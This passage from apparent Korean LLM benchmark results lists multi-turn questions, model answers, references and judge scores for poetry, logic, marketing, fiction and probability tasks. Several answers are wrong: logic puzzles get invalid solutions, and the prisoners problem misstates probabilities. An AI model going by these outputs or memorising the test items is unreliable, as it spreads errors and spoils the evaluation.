짚어내고 있으며, 디지털 혁명, 세계화, 인구 구조 변화, 환경 문제 등의 주제를 간결하게 정리하고 있습니다. 그러나 '장기적 관점에서의 전략 수립'에 대한 언급이 요약 부분에서도 나타나야 했으나, 이 부분이 누락되어 아쉽습니다. 전반적으로 요약은 잘 되었지만, 문단 번호의 오류와 일부 중요 내용의 누락으로 인해 평가 점수가 감점됩니다.", "judge_score": 7.0}, "query_multi": {"judge_message": "모델은 질문에 대해 정확하고 상세한 답변을 제공했습니다. '장기적 관점에서의 전략 수립이 요구된다'라는 내용이 포함된 문단을 정확히 마지막 문단이라고 식별하였으며, 글의 내용을 요약하는 부분에서도 지문의 주요 내용을 잘 요약하여 전달했습니다. 후속 질문에 대해서도 환경 문제 해결에 필요한 것과 필요하지 않은 것을 구분하여 설명하였고, 각 선택지가 환경 문제 해결에 어떻게 기여할 수 있는지 구체적으로 설명했습니다. 언어 요구사항을 충족하였으며, 답변의 내용이 이전 대화 맥락과 일치합니다.", "judge_score": 10.0}}
{"id": 33, "category": "이해(Understanding)", "questions": ["내가 당신을 사랑하는 것은 까닭이 없는 것은 아닙니다.\n다른 사람들은 나의 홍안만을 사랑하지만은 당신은 나의 백발도 사랑하는 까닭입니다.\n\n내가 당신을 사랑하는 것은 까닭이 없는 것은 아닙니다.\n다른 사람들은 나의 미소만을 사랑하지만은 당신은 나의 눈물도 사랑하는 까닭입니다.\n\n내가 당신을 사랑하는 것은 까닭이 없는 것은 아닙니다.\n다른 사람들은 나의 건강만을 사랑하지만은 당신은 나의 죽음도 사랑하는 까닭입니다.\n\n위 글의 화자는 '당신'을 사랑하는 까닭이 있는가?", "위에서 주어진 글과 같은 형식으로 4연을 자연스럽게 작성해보아라."], "outputs": ["네, 화자는 '당신'을 사랑하는 이유가 분명히 있습니다. 시는 반복적인 구조를 통해 그 이유를 강조하고 있습니다. \n\n* **다른 사람들의 조건적인 사랑과 당신의 무조건적인 사랑의 대비:** 화자는 다른 사람들이 자신의 젊음, 아름다움, 행복 등 긍정적인 면만을 사랑한다고 말합니다. 반면 '당신'은 화자의 늙음, 슬픔, 심지어 죽음까지도 사랑합니다. 즉, '당신'은 화자의 좋은 모습만이 아니라 약하고 부족한 모습까지도 감싸 안는, 조건 없는 사랑을 주는 존재입니다. \n\n* **진정한 사랑의 의미에 대한 강조:** 화자는 '까닭 없는 사랑'이 아니라고 말하며 '당신'의 사랑에 분명한 이유가 있음을 강조합니다. '당신'의 사랑은 단순한 호감이나 애정을 넘어, 인간의 유한함과 불완전함까지도 포용하는 깊고 진실된 사랑임을 역설적으로 드러냅니다.\n\n결론적으로 화자는 '당신'의 변치 않는 깊은 사랑 때문에 '당신'을 사랑합니다. 이 시는 진정한 사랑의 의미에 대해 생각하게 하는 메시지를 담고 있습니다. \n", "내가 당신을 사랑하는 것은 까닭이 없는 것은 아닙니다.\n다른 사람들은 나의 빛나는 날만을 기억하지만은 당신은 나의 어둠을 밝혀주는 까닭입니다. \n"], "references": ["있다.", null], "query_single": {"judge_message": "모델은 질문에 대해 적절하게 답변하였으며, 주어진 평가 기준을 충실히 반영하였다. 화자가 '당신'을 사랑하는 이유가 있음을 명확히 설명하면서, 시의 내용을 반복적인 구조를 통해 강조한 부분을 잘 포착하였다. 또한, 다른 사람들의 조건적인 사랑과 '당신'의 무조건적인 사랑을 대비시키며, 진정한 사랑의 의미를 강조한 점도 잘 설명하였다. 언어 요구사항도 충족하였으며, 한국어로 명확하고 이해하기 쉬운 답변을 제공하였다. 답변의 길이도 적절하며, 질문의 요구사항을 충분히 반영하였다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 질문에 대한 답변을 한국어로 제공하며, 질문의 요구사항을 충실히 반영하고 있습니다. 화자가 '당신'을 사랑하는 구체적인 이유를 시의 내용을 바탕으로 설명하면서, 다른 사람들과 '당신'의 사랑을 대비시키는 방식으로 '당신'의 사랑이 특별한 이유를 명확히 했습니다. 또한, 진정한 사랑의 의미에 대한 강조를 통해 시의 메시지를 잘 전달하고 있습니다. 후속 질문에 대한 답변도 주어진 글의 형식에 맞추어 자연스럽게 작성되었습니다. 다만, 후속 질문에서 요구한 4연의 시를 한 연만 제공한 점은 아쉬운 부분입니다. 이는 질문의 요구사항을 완전히 충족시키지 못한 것으로 볼 수 있습니다.", "judge_score": 7.0}}
{"id": 3, "category": "추론(Reasoning)", "questions": ["민수에게는 빨간색 셔츠 한 벌과 노란색 셔츠 다섯 벌이 있어. 민수가 노란색 바지 3벌을 새로 구매하고 노란색 바지 두 벌을 친구에게 선물했을 때 민수는 몇 벌의 노란색 셔츠를 가지고 있을까?", "민수가 가지고 있는 셔츠들의 색상을 모두 섞으면 무슨 색이 될까? 물감의 경우와 빛의 경우를 모두 설명해줘.", "민수가 가지고있는 셔츠들의 색상을 모두 섞으면 무슨 색이 될까? 물감의 경우와, 빛의 경우를 모두 설명해줘."], "outputs": ["문제에서 민수가 가지고 있는 노란색 *바지*의 수는 노란색 *셔츠*의 수에 영향을 주지 않아. \n\n민수는 여전히 **다섯 벌**의 노란색 셔츠를 가지고 있어. \n", "좋은 질문이에요! 민수의 셔츠를 섞었을 때 어떤 색이 나올지 물감과 빛의 경우로 나누어 설명해 줄게요.\n\n**1. 물감의 경우**\n\n빨간색 물감과 노란색 물감을 섞으면 **주황색**이 됩니다. 하지만 중요한 것은 셔츠의 수가 색깔 혼합에 영향을 미친다는 거예요. \n\n* 빨간색 셔츠가 한 벌이고 노란색 셔츠가 다섯 벌이므로 노란색이 훨씬 더 많습니다. \n* 따라서 혼합된 색은 빨간색이 살짝 섞인 **탁한 주황색**에 가까울 거예요.  \n\n**2. 빛의 경우**\n\n빛의 삼원색은 빨강, 파랑, 초록입니다. 빨간색 빛과 노란색 빛을 섞으면 좀 더 밝은 **주황색** 빛이 됩니다. 물감과 마찬가지로 노란색 빛이 훨씬 강하기 때문에 빨간색은 영향을 덜 미칠 거예요. \n\n**결론**\n\n민수의 셔츠를 섞으면 물감이든 빛이든 **주황색 계열**의 색이 나오지만, 노란색 셔츠가 훨씬 많기 때문에 순수한 주황색보다는 **노란색에 가까운 주황색**이 될 거예요. \n"], "references": ["다섯 벌", null], "query_single": {"judge_message": "모델은 질문의 요구사항을 정확히 이해하고, 주어진 문제에 대한 답변을 적절하게 제공했다. 질문은 민수가 가지고 있는 노란색 셔츠의 수를 묻고 있으며, 모델은 노란색 바지의 수 변화가 셔츠의 수에 영향을 주지 않는다는 점을 명확히 설명했다. 또한, 모델은 민수가 다섯 벌의 노란색 셔츠를 가지고 있다고 정확히 답변했다. 이는 추가 참고 자료에 제공된 정보와 일치한다. 언어 요구사항도 충족하며 한국어로 답변했다. 답변의 길이도 적절하며, 필요한 정보를 모두 포함하고 있다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 질문에 대한 답변을 한국어로 제공하며, 물감과 빛의 경우에 따른 색상 혼합 결과를 설명하는 데 성공했습니다. 빨간색과 노란색 셔츠를 섞었을 때 나오는 색상에 대해 물감의 경우 주황색이 되며, 빛의 경우에도 주황색이 될 것이라고 설명했습니다. 또한, 노란색 셔츠의 수가 더 많기 때문에 노란색에 가까운 주황색이 될 것이라는 점을 추가로 설명하여 질문에 대한 답변을 보완했습니다. 그러나 빛의 경우에는 노란색 빛과 빨간색 빛을 섞으면 실제로는 노란색에 가까운 주황색이 아닌 빨간색에 가까운 주황색이 나오는데, 이 부분에 대한 설명이 부정확합니다. 또한, 빛의 경우 노란색은 빨간색과 초록색 빛을 섞어서 만들어지는데, 이에 대한 설명이 누락되었습니다.", "judge_score": 7.0}}
{"id": 19, "category": "글쓰기(Writing)", "questions": ["새로 오픈한 카페를 홍보하려고 합니다. 홍보 대상, 홍보 전략을 선정하고 대상을 설득할 수 있을 만한 홍보 메시지를 만들어보세요.", "다른 홍보 대상을 선정하고, 그 대상에게 맞는 홍보 전략과 메시지를 작성해보세요."], "outputs": ["## ✨ 새로 오픈한 카페, **[카페 이름]**을 홍보해 드립니다! ✨\n\n### 🎯 홍보 대상: 2030 직장인 & 거주민\n\n**선정 이유:**\n\n* **주변 직장가**: 점심시간 & 저녁 시간대 매출 증대 가능성 높음\n* **주거 지역**: 단골 고객 확보 용이, 편안하고 친근한 분위기 선호\n\n### 🚀 홍보 전략\n\n1️⃣ **온라인 타겟 마케팅:**\n\n* **인스타그램:** 감성적인 사진/영상 + 해시태그 활용 (예: #[지역명]카페, #[지역명]맛집, #점심시간, #퇴근후)\n    * 오픈 이벤트 게시: 리그램, 팔로우 후 방문 시 아메리카노 1+1\n    * 인플루언서 협업: 체험단 운영하여 솔직 후기 + 매장 분위기 홍보\n* **블로그:** 상세 메뉴 소개, 인테리어, 분위기, 서비스 후기 블로그 포스팅\n    * 체험단 운영: 키워드 상위 노출 노력 (예: [지역명] 분위기 좋은 카페, [지역명] 데이트 코스)\n* **지역 기반 어플리케이션 활용:** (예: 당근마켓, 네이버 영역)\n    * 오픈 할인 정보 & 기간 한정 이벤트 홍보 (예: 쿠폰 발행, 무료 음료 증정)\n\n2️⃣ **오프라인 게릴라 마케팅:**\n\n* **주변 직장인 타겟:** 점심 시간대 유동 인구 많은 장소에서 전단지 배포, 할인 쿠폰 제공\n    * 테이크 아웃 할인, 점심 메뉴 세트 할인 등 실질적 혜택으로 유인\n* **거주민 타겟:** 아파트 단지 내 홍보 게시판 활용, 전단지 배포\n    * 오픈 기념 전 메뉴 할인, 쿠폰 증정,  텀블러 증정 등 매력적인 혜택 제공\n\n### 🗣️ 설득력 있는 홍보 메시지\n\n**✔️ 핵심 키워드:** #고품격, #합리적인 가격, #편안한 분위기, #특별한 경험\n\n**✨ 예시 1: 인스타그램 게시글 ✨**\n\n**[사진: 시그니처 메뉴 클로즈업]**\n\n갓 내린 향긋한 커피와 달콤한 디저트가 생각나는 시간! ☕🍰  \n**[카페 이름]**에서  **[시그니처 메뉴 이름]**과 함께 달콤한 휴식 어떠세요?\n\n✔️ **고품격 원두**로 만든 **깊고 풍부한 커피**와  \n✔️ **매일 굽는 신선한 디저트**를 **합리적인 가격**에 만 만나보세요!\n\n**[해시태그]** #[지역명]카페 #[지역명]맛집 #신상카페 #[카페 이름] #[시그니처 메뉴 이름] #분위기맛집 #데이트 #디저트맛집\n\n**✨ 예시 2: 전단지 문구 ✨**\n\n**[카페 이름]** GRAND OPEN 🎉\n\n**[지역명] 핫플 등극 예정! 🔥  [카페 이름]에서 특별한 경험을 선 regalo 드립니다!**\n\n🎁 **혜택 1:**  방문 고객 전원 아메리카노 1잔 무료!\n🎁 **혜택 2:**  음료 주문 시, 디저트 10% 할인!\n🎁 **혜택 3:**  쿠폰 지참 시, 모든 음료 10% 할인! (기간 한정)\n\n**📞 문의:** [전화번호] /  **📍 주소:** [주소]\n\n**[카페 이름]**은 **최고급 원두**와 **엄선된 재료**만을 사용하여  \n**한 잔의 커피에도 정성을 담아** 제공합니다. 💕\n\n**편안하고 아늑한 공간**에서 **소중한 사람들과 행복한 시간**을 보내세요! 💖", "## ✨  새로 오픈한 카페, **[카페 이름]**을 홍보해 드립니다! ✨\n\n### 🎯 홍보 대상: 스터디 & 개인 작업, 과제하는 카공족\n\n**선정 이유:**\n\n* **카페 주변 학원가 & 주택가:**  공부나 작업을 위해 카페를 찾는 수요 높음.\n* **장시간 체류 고객 확보**: 음료 및 디저트 추가 주문 유도.\n* **충성 고객 확보 가능성:**  만족도 높은 공간 제공 시 재방문율 증가.\n\n\n### 🚀 홍보 전략\n\n1️⃣ **온라인 집중 공략:**\n\n* **스터디 카페 관련 어플 & 커뮤니티 활용:** (ex. 스터디서치, 공부하기 좋은 카페)\n    * 콘센트 유무, 와이파이 속도, 테이블 크기, 조용한 분위기 등 장점 부각\n    * 이용 후기 이벤트:  기프티콘 제공 등 참여 유도\n* **SNS 해시태그 전략:** #[지역명]스터디카페, #[지역명]카공, #공부하기좋은카페, #노트북카페\n    * 집중 잘되는 카페, 조용한 카페, 분위기 좋은 카페 등 매력적인 키워드 사용\n* **블로그 후기 마케팅:**  실제 카공족 섭외 후 장점 부각 (ex. 콘센트 편리성,  WIFI 속도,  조용한 분위기)\n    * 사진/영상 필수:  넓고 편안한 테이블,  밝은 조명,  쾌적한 환경 강조\n\n2️⃣ **오프라인 맞춤 공략:**\n\n* **주변 학원가 홍보:**  전단지 배포 (스터디 자료 출력 할인,  장시간 이용 할인 쿠폰 제공)\n* **'카공족' 맞춤 서비스 홍보:**  매장 앞 X배너,  포스터 부착\n    *  \"콘센트 많아요!\", \"WIFI 빵빵!\", \"조용한 분위기에서 집중하세요!\" \n* **시간대별 타겟 프로모션:**  (ex. 오전 시간대 아메리카노 + 샌드위치 세트 할인)\n\n\n### 🗣️ 설득력 있는 홍보 메시지\n\n**✔️ 핵심 키워드:** #집중력UP  #능률UP  #조용한 분위기  #편안한 공간  #합리적인 가격\n\n**✨ 예시 1: 인스타그램 게시글 ✨**\n\n**[사진:  노트북과 커피,  공부하는 모습,  매장 분위기 사진]**\n\n📚  집중력 UP! 능률 UP!  💪 \n**[카페 이름]**, 당신의 꿈을 응원합니다!\n\n✔️  #콘센트 걱정 없는  넉넉한 자리!\n✔️  #초고속_WIFI  빵빵! 끊김 없이 집중!\n✔️  #조용하고_쾌적한 분위기  집중력 최고!\n\n☕  **[카페 이름]**에서  따뜻한 커피와 함께  **합리적인 가격**으로  편안하게 공부하세요!\n\n**[해시태그]** #[지역명]스터디카페 #[지역명]카공 #공부하기좋은카페 #노트북카페 #카페추천 #분위기맛집 #스터디 #카공족\n\n**✨ 예시 2:  전단지 문구 ✨**\n\n**[카페 이름]**에서  **공부 맛집**을 경험하세요! 📚☕\n\n💯  **카공족을 위한  최적의 공간!** 💯\n\n*  #초고속_WIFI   *  #넉넉한_콘센트\n*  #편안한_좌석   *  #조용한_분위기\n\n🎁  **이벤트 1:**  3시간 이상 이용 시 아메리카노 1잔 무료!\n🎁  **이벤트 2:**  스터디 자료 출력 할인! (흑백 100원/장)\n\n📞 문의: [전화번호] /  📍 주소: [주소] \n\n**[카페 이름]**은  **최상의 카공 환경**을 제공합니다. 💖\n"], "references": [null, null], "query_single": {"judge_message": "모델은 홍보 대상 선정, 홍보 전략 개발, 그리고 설득력 있는 홍보 메시지 작성이라는 질문의 요구사항을 충실히 반영하여 답변하였다. 홍보 대상으로 2030 직장인과 거주민을 선정하고, 이들을 대상으로 한 온라인 및 오프라인 홍보 전략을 제시하였다. 또한, 인스타그램 게시글과 전단지 문구를 예시로 들어 구체적인 홍보 메시지를 제공하였다. 이러한 점들은 질문에 대한 충분한 이해와 적절한 답변을 보여준다. 언어 요구사항도 한국어로 잘 준수하였으며, 전반적으로 답변이 명확하고 구체적인 홍보 방안을 제시하였다. 아쉬운 점은 없으며, 모델이 제시한 홍보 메시지가 실제 홍보에 사용될 수 있을 정도로 잘 작성되었다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 홍보 대상으로 '스터디 & 개인 작업, 과제하는 카공족'을 선정하고, 이에 맞는 홍보 전략과 메시지를 잘 제시했다. 온라인과 오프라인 전략을 구분하여 상세하게 설명하고, 각각의 전란에 맞는 해시태그와 이벤트를 제안했다. 또한, 설득력 있는 홍보 메시지를 통해 카페의 장점과 이벤트 정보를 효과적으로 전달했다. 언어 요구사항을 충족하며 한국어로 답변했고, 이전 대화 맥락과도 일치하는 답변을 제공했다.", "judge_score": 10.0}}
{"id": 4, "category": "추론(Reasoning)", "questions": ["A, B, C 세 사람 중 한 명이 유리를 깨뜨렸습니다. 경찰이 찾아와 범인을 찾으려 합니다. 세 사람 중 한 명은 거짓말을 하고 나머지 두 명은 진실을 말하고 있습니다. 범인은 누구일까요?\nA: '범인은 C에요.'\nB: '제가 범인이에요.\nC: '저는 범인이 아니에요.''", "이런 문제에 대해서 어떻게 생각하나요? 한번 비슷한 문제를 만들고 풀이까지 제시해보세요."], "outputs": ["이 문제는 고전적인 논리 퍼즐입니다. 범인을 찾기 위해 진술을 분석해 보겠습니다.\n\n* **B가 유리를 깨뜨린 경우:** B의 말은 사실이고, A와 C의 말은 거짓이 됩니다. 이 경우, 진실을 말하는 사람은 한 명뿐이므로 조건에 맞지 않습니다.\n* **A가 유리를 깨뜨린 경우:** A의 말은 거짓이고, B와 C의 말은 사실이 됩니다. 이 경우, 두 명이 진실을 말하게 되어 조건에 맞습니다.\n* **C가 유리를 깨뜨린 경우:** A와 C의 말은 거짓이고, B의 말은 사실이 됩니다. 이 경우도 두 명이 진실을 말하게 되어 조건에 맞습니다.\n\n**따라서, 유리를 깨뜨린 사람은 A이거나 C입니다.** \n\n추가 정보 없이는 둘 중 누가 범인인지 정확히 알 수 없습니다. \n", "이런 논리 퍼즐은 제한된 정보 속에서 모순을 찾아 진실을 밝혀내는 흥미로운 문제입니다. 사람들이 어떻게 생각하고 추론하는지, 그리고 정보를 조합하여 결론에 도달하는 방식을 보여주죠. 마치 작은 추리 소설 같아서 흥미롭습니다. 😊\n\n비슷한 문제를 하나 만들어 보겠습니다.\n\n## 새로운 퍼즐\n\n**세 명의 용의자 X, Y, Z가 있습니다. 이 중 한 명이 은행을 털었습니다.**  경찰이 조사한 결과, 세 명 중 두 명은 거짓말을 하고 한 명만 진실을 말하고 있습니다. 다음은 용의자들의 진술입니다.\n\n* **X:** \"저는 은행을 털지 않았습니다.\"\n* **Y:** \"X가 은행을 털었습니다!\"\n* **Z:** \"저는 범인이 아닙니다. Y가 범인입니다!\"\n\n**과연 누가 은행을 털었을까요?** \n\n## 풀이\n\n1. **X가 범인인 경우:** X의 말은 거짓, Y와 Z의 말은 사실이 됩니다. 이 경우 진실을 말하는 사람이 두 명이 되므로 조건에 맞지 않습니다.\n\n2. **Y가 범인인 경우:** X와 Z의 말은 거짓, Y의 말은 사실이 됩니다. 이 경우 진실을 말하는 사람은 한 명뿐이므로 조건에 맞습니다.\n\n3. **Z가 범인인 경우:** X와 Y의 말은 거짓, Z의 말은 사실이 됩니다. 이 경우도 진실을 말하는 사람은 한 명뿐이므로 조건에 맞습니다.\n\n**따라서, 은행을 털 수 있는 사람은 Y 또는 Z입니다.**  X는 범인이 아닙니다. \n\n어떠신가요? 이렇게 논리 퍼즐을 통해 추리력을 발휘하고 문제 해결 능력을 키울 수 있습니다. 😊 \n"], "references": ["B", null], "query_single": {"judge_message": "모델은 주어진 질문에 대해 논리적으로 접근하여 각각의 경우에 대해 설명하고 있으나, 결론이 잘못되었습니다. 추가 참조 정보에 따르면 범인은 B라고 명시되어 있습니다. 모델은 이 정보를 무시하고 A 또는 C가 범인일 수 있다고 결론지었습니다. 이는 주어진 정보를 올바르게 해석하지 못한 결과입니다. 또한, 모델은 질문의 요구사항을 충분히 반영하지 못했으며, 추가 참조 정보를 활용하지 못했습니다. 언어 요구사항은 준수하였으나, 답변의 내용이 정확하지 않습니다.", "judge_score": 2.0}, "query_multi": {"judge_message": "모델은 주어진 논리 퍼즐에 대한 답변을 잘 제시하였으며, 추가 질문에 대해서도 새로운 퍼즐을 만들어 풀이를 제공하였습니다. 그러나 모델은 추가 참조 정보인 'B'를 고려하지 않고 답변을 제시했습니다. 이는 첫 번째 질문에 대한 답변에서 중요한 오류입니다. 두 번째 질문에 대한 답변은 창의적이고 문제 해결 과정을 잘 설명하였으나, 첫 번째 질문의 오류로 인해 전체적인 평가에 영향을 미칩니다. 언어 요구사항은 충족하였습니다.", "judge_score": 5.0}}
{"id": 15, "category": "글쓰기(Writing)", "questions": ["당신은 라이트노벨을 작성하는 작가입니다. 이번에 새롭게 쓸 작품의 제목은 '히로인이 미래에서 온 시간 여행자'입니다. 제목을 참고하여 작품의 개요를 작성해주고, 너무 뻔한 작품이 되지 않도록 하기 위해서는 어떠한 노력을 할 수 있을지 생각해보세요.", "작품의 초반 전개를 흥미진진하게 400자 내외로 작성해보세요."], "outputs": ["## 라이트노벨 개요: 히로인이 미래에서 온 시간 여행자\n\n**1. 로그라인:** 평범한 고등학생 김철수는 어느 날 갑자기 나타난 미래에서 온 시간 여행자, 한별이를 만나 세상의 운명을 좌우할 선택의 기로에 서게 된다.\n\n**2. 기본 설정:**\n\n* **시간적 배경:** 2023년, 가까운 미래\n* **공간적 배경:** 대한민국 서울, 평범한 고등학교와 도시\n* **주요 등장인물:**\n    * **김철수 (18세, 남):**  평범한 고등학생. 성적은 중간, 운동 신경도 보통, 눈에 띄는 외모도 아닌 평범함 그 자체. 하지만 정의가 넘치고 불의를 보면 참지 못하는 정의로운 성격. 어릴 적 꿈꿨던 히어로를 동경한다.\n    * **한별이 (18세, 여):** 미래에서 온 시간 여행자. 차갑고 감정 표현이 적지만, 누구보다 강인하고 냉철한 판단력을 지녔다. 미래에서 온 목적은 오직 하나, 김철수를 '설득'하는 것. \n    * **최강토 (18세, 남):** 철수의 친구이자 라이벌. 잘생긴 외모와 뛰어난 운동 신경으로 항상 주목받는 인물. 하지만 내면에는 열등감과 질투심을 숨기고 있다.\n\n**3. 줄거리:**\n\n평범한 일상을 보내던 김철수 앞에 어느 날 갑자기 한별이라는 소녀가 나타난다. 미래에서 왔다는 한별이는 알 수 없는 위협으로부터 세상을 구하기 위해 철수의 도움이 필요하다고 말한다. 처음에는 한별이의 말을 믿지 못하는 철수. 하지만 시간 여행 능력과 미래에서 온 증거를 보여주는 한별이 앞에서 혼란에 빠진다.  \n\n한별이는 철수에게 미래를 보여주며 설득하려 하지만, 철수는  자신이 아닌 '진짜 히어로'가 세상을 구해야 한다고 생각하며 거절한다. 그러던 중, 철수의 친구이자 라이벌인 최강토가 알 수 없는 힘에 의해 변하면서 사건은 급변한다. 강토의 변화는 미래에서 온 위협과 관련되어 있었고, 철수는 자신도 모르는 사이 세상을 구할 열쇠를 쥐고 있음을 알게 된다.  \n\n**4. 차별점을 위한 노력:**\n\n* **뻔한 '선택받은 용사' 서사를 탈피:** 김철수는 스스로 히어로가 되기를 거부하며, '평범한 사람'으로서의 정체성에 대해 고민한다. 그는 타고난 능력이 아닌, 자신의 선택과 행동으로 영웅적인 면모를 드러낸다.\n* **히로인의 입체적인 서사:** 한별이는 단순한 조력자가 아닌, 과거의 선택으로 인해 미래에 큰 짐을 지게 된 인물로 설정한다. 그녀는 차가운 겉모습 속에 숨겨진 아픔과 슬픔을 가진 인물로, 철수와의 관계 속에서 변화하고 성장하는 모습을 보여준다.\n* **예측 불가능한 플롯:** 시간 여행이라는 소재를 활용하여 반전과 서스펜스를 극대화한다. 과거와 미래를 넘나들며 예상치 못한 전개를 만들어내고, 독자들의 몰입도를 높인다.\n* **단순한 로맨스를 넘어선 관계:** 철수와 한별이는 단순한 로맨틱한 감정을 넘어 서로의 아픔과 상처를 공유하고 성장하는 동반자적인 관계를 구축한다. 이를 통해 뻔한 로맨스 전개를 탈피하고 작품의 주제 의식을 강화한다.\n\n**5. 기대 효과:**\n\n'히로인이 미래에서 온 시간 여행자'는 흥미로운 설정과 매력적인 캐릭터, 예측 불가능한 스토리 전개를 통해 독자들에게 신선한 재미와 감동을 선\n\n", "수학 시간, 칠판 가득 적힌 공식만큼이나 머리가 지끈거렸다. 꾸벅꾸벅 졸음이 쏟아지는 순간, 교실 창문이 요란한 소리를 내며 깨졌다. 유리 파편이 사방으로 흩어지고, 눈을 가늘게 뜬 채 바라본 창밖에는 믿을 수 없는 광경이 펼쳐졌다. \n\n\"저, 정말 미래에서 왔어요!\"\n\n교실은 아수라장이 되었다. 깨진 창문 틈으로 들어온 건 다름 아닌, 여학생이었다. 헝클어진 머리, 찢어진 교복, 그리고 품에 꽉 안고 있는 이상한 기계 장치까지.  소녀는 숨을 헐떡이며 외쳤다. \"김철수 씨, 당신을 찾아왔어요! 미래는 당신에게 달렸어요!\"  모두의 시선이 나에게 향했다. 김철수, 평범 그 자체인 나에게? 말도 안 돼. 꿈인가, 환청인가. 그때, 소녀는 가방에서 빛바랜 사진 한 장을 꺼내들었다. 사진 속에는 어린 시절의 내가, 영웅이 그려진 티셔츠를 입고 활짝 웃고 있었다. \n\n\"당신이 이 세상을 구할 유일한 희망이에요!\"\n"], "references": [null, null], "query_single": {"judge_message": "모델은 주어진 제목 '히로인이 미래에서 온 시간 여행자'를 바탕으로 라이트노벨의 개요를 잘 작성했다. 로그라인, 기본 설정, 줄거리, 차별점, 기대 효과 등을 포함하여 상세하고 체계적인 개요를 제시했다. 또한, 뻔한 스토리가 되지 않도록 하는 노력에 대해서도 구체적인 방안을 제시했다. 예를 들어, 주인공의 평범함을 강조하고, 히로인의 입체적인 서사를 구축하며, 예측 불가능한 플롯과 단순한 로맨스를 넘어선 관계 설정 등을 통해 차별화를 도모하고자 했다. 답변은 한국어로 이루어졌으며, 언어 요구사항을 충실히 준수했다. 다만, 기대 효과 부분이 완전히 마무리되지 않은 점이 아쉽다.", "judge_score": 9.0}, "query_multi": {"judge_message": "모델은 주어진 질문에 대해 적절하게 답변하였다. 제시된 라이트노벨의 제목을 바탕으로 개요를 구성하고, 뻔한 스토리가 되지 않도록 차별화할 수 있는 방안을 제시했다. 또한, 후속 질문에 대해서도 요구된 400자 내외의 범위 내에서 작품의 초반 전개를 흥미롭게 작성했다. 답변은 한국어로 이루어졌으며, 이전 대화 맥락과 일관성을 유지하고 있다. 다만, 작품의 개요에서 마지막 문장이 불완전하게 끝나는 점이 아쉽다. 이는 답변의 완성도를 다소 떨어뜨리는 요소이다.", "judge_score": 9.0}}
{"id": 8, "category": "수학(Math)", "questions": ["한 회사에는 100명의 직원이 있습니다. 회사에서는 각 직원에게 1부터 100까지의 고유한 번호를 부여했습니다. 회사는 100개의 캐비닛을 가지고 있는데, 각 캐비닛 안에는 1부터 100까지의 번호 중 하나가 무작위로 쓰여 있습니다. 각 번호와 캐비닛은 일대일대응을 이룹니다. 회사는 모든 직원이 자기 번호가 할당된 캐비닛을 찾는 것을 목표로 합니다. 각 직원은 최대 50개의 캐비닛을 열어볼 수 있습니다. 한 직원이 캐비닛을 확인한 후에는 다음 직원이 와서 캐비닛을 확인하기 전에 모든 캐비닛을 닫습니다. 모든 직원이 자기 번호가 할당된 캐비닛을 찾을 확률을 최대화하려면 어떤 전략을 사용해야 할까요?", "직원의 수가 30명이고 15개의 상자를 열 수 있을 때에도 해당 전략이 유효할까요?"], "outputs": ["이 문제는 고전적인 퍼즐 문제의 변형으로, 놀랍게도 높은 확률로 성공을 보장하는 전략이 존재합니다. 핵심은 직원들이 무작위로 캐비닛을 확인하는 대신, 캐비닛 번호와 직원 번호 사이의 연결고리를 이용하는 것입니다.\n\n**전략**\n\n1. **시작:** 각 직원은 자신의 직원 번호와 동일한 번호가 적힌 캐비닛부터 엽니다.\n2. **연결고리 추적:** \n    * 만약 캐비닛 안의 번호가 자신의 직원 번호와 일치하면 해당 캐비닛이 자신의 것입니다.\n    * 만약 캐비닛 안의 번호가 자신의 직원 번호와 다르다면, 캐비닛 안의 번호를 새로운 숫자로 생각하고, 그 숫자에 해당하는 캐비닛을 엽니다.\n3. **반복:** 2번 과정을 최대 50번 반복하거나, 자신의 직원 번호가 적힌 캐비닛을 찾을 때까지 계속합니다.\n\n**예시**\n\n직원 번호 23번인 직원의 경우:\n\n1. 23번 캐비닛을 엽니다. \n2. 만약 23번 캐비닛 안에 숫자 '7'이 적혀 있다면, 7번 캐비닛을 엽니다.\n3. 7번 캐비닛 안에 숫자 '23'이 적혀 있다면, 그 캐비닛이 자신의 것입니다.\n\n**성공 확률**\n\n놀랍게도 이 전략을 사용하면 모든 직원이 자신의 캐비닛을 찾을 확률이 30% 이상입니다. 이는 무작위로 캐비닛을 열 때의 확률(50%)보다 훨씬 높습니다. \n\n**왜 이 전략이 효과적인가?**\n\n이 전략은 캐비닛 번호와 직원 번호 사이에 일종의 순환 고리를 형성합니다. 100개의 캐비닛은 완전히 무작위로 배열되어 있기 때문에, 하나의 큰 순환 고리를 형성하거나 여러 개의 작은 순환 고리들을 형성할 수 있습니다. \n\n* **하나의 큰 순환 고리:** 모든 직원은 최대 50번 안에 자신의 번호를 찾을 수 있습니다. \n* **여러 개의 작은 순환 고리:** 모든 순환 고리의 길이가 50 이하라면 모든 직원이 자신의 번호를 찾을 수 있습니다. \n\n**핵심은 50번의 제한 안에 이러한 순환 고리를 찾아낼 수 있는지 여부입니다.** \n\n**주의 사항:** 이 전략은 모든 번호가 일대일대응을 이루고 있다는 가정 하에 작동합니다. 만약 중복된 번호가 있거나 누락된 번호가 있다면 성공을 보장할 수 없습니다. \n", "네, 말씀하신 전략은 직원 수가 30명이고 15개의 상자만 열 수 있을 때도 여전히 유효합니다. \n\n핵심은 전략 자체가 직원 수나 열 수 있는 상자의 수에 제한을 두지 않는다는 것입니다. 이 전략은 본질적으로 캐비닛/상자 번호 사이의 순환 고리를 찾아내는 방식으로 작동합니다. \n\n* **직원 수 감소:** 직원 수가 줄어들면, 자신의 상자를 찾아야 하는 직원 수 자체가 줄어드는 효과가 있습니다.\n* **열 수 있는 상자 수 감소:** 열 수 있는 상자 수가 줄어들면, 찾을 수 있는 순환 고리의 최대 길이가 제한됩니다. \n\n30명의 직원과 15개의 상자의 경우, 최대 15개의 상자로 이루어진 순환 고리만 찾을 수 있습니다. 만약 모든 순환 고리가 15개 이하의 상자로 이루어져 있다면 모든 직원이 자신의 상자를 찾을 수 있습니다. 하지만, 16개 이상의 상자로 이루어진 순환 고리가 존재한다면 해당 순환 고리에 속한 직원들은 자신의 상자를 찾지 못할 수 있습니다.\n\n**요약하자면:**\n\n* 전략 자체는 여전히 유효합니다.\n* 성공 확률은 상자 번호의 순환 고리 구조에 따라 달라집니다. \n* 모든 순환 고리의 길이가 15 이하라면 성공 확률은 높습니다. \n* 16개 이상의 상자로 이루어진 순환 고리가 존재할수록 성공 확률은 감소합니다. \n"], "references": ["이 문제는 원순열(순환이 이루어지는 순열)을 이용해서 